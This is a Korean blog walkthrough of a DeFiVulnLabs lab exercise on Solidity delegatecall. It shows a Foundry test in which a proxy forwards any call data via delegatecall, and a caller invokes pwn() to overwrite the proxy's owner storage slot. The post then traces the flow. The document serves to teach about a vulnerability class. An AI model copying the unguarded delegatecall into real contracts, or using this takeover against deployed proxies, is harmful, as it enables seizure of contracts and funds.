새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Delegatecall

  • -
반응형

Source Code

import "forge-std/Test.sol"; // Proxy Contract is designed for helping users call logic contract // Proxy Contract's owner is hardcoded as 0xdeadbeef // Can you manipulate Proxy Contract's owner ? contract Proxy { address public owner = address(0xdeadbeef); // slot0 Delegate delegate; constructor(address _delegateAddress) public { delegate = Delegate(_delegateAddress); } fallback() external { (bool suc,) = address(delegate).delegatecall(msg.data); // vulnerable require(suc, "Delegatecall failed"); } } contract ContractTest is Test { Proxy proxy; Delegate DelegateContract; address alice; function setUp() public { alice = vm.addr(1); } function testDelegatecall() public { DelegateContract = new Delegate(); // logic contract proxy = new Proxy(address(DelegateContract)); // proxy contract console.log("Alice address", alice); console.log("DelegationContract owner", proxy.owner()); // Delegatecall allows a smart contract to dynamically load code from a different address at runtime. console.log("Change DelegationContract owner to Alice..."); vm.prank(alice); address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit here // Proxy.fallback() will delegatecall Delegate.pwn() console.log("DelegationContract owner", proxy.owner()); console.log("Exploit completed, proxy contract storage has been manipulated"); } } contract Delegate { address public owner; // slot0 function pwn() public { owner = msg.sender; } }

코드 test 결과이다.

DelegationContract의 owner가 Alice로 바뀌었다.

Trace를 분석해보자.

Delegate Contract address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

Proxy Contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b

Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

Proxy의 owner는 0x00000000000000000000000000000000DeaDBeef

코드를 보면 address.delegatecall(msg.data); 이다. 그러면 msg.data는 delegatecall에서 들고올 함수를 넣어야 한다.

call 함수 flow를 보면 vm.prank(alice)로 msg.sender를 alice로 지정했다.

address(proxy).call(abi.encodeWithSignature("pwn()"))을 하면 Proxy의 fallback() 함수로 간다.

Proxy Contract에서 delegate Contract의 pwn()함수를 delegatecall하면 Proxy Contract에서 pwn()함수를 실행한다. 그러면 msg.sender를 변하지 않기 때문에 Proxy Contract에 있는 owner가 msg.sender 즉 alice가 된다.

함수의 흐름을 그림으로 나타내보았다.

fallback() external { (bool suc,) = address(delegate).delegatecall(msg.data); // vulnerable require(suc, "Delegatecall failed"); }
address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit here // Proxy.fallback() will delegatecall Delegate.pwn()

 

반응형

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.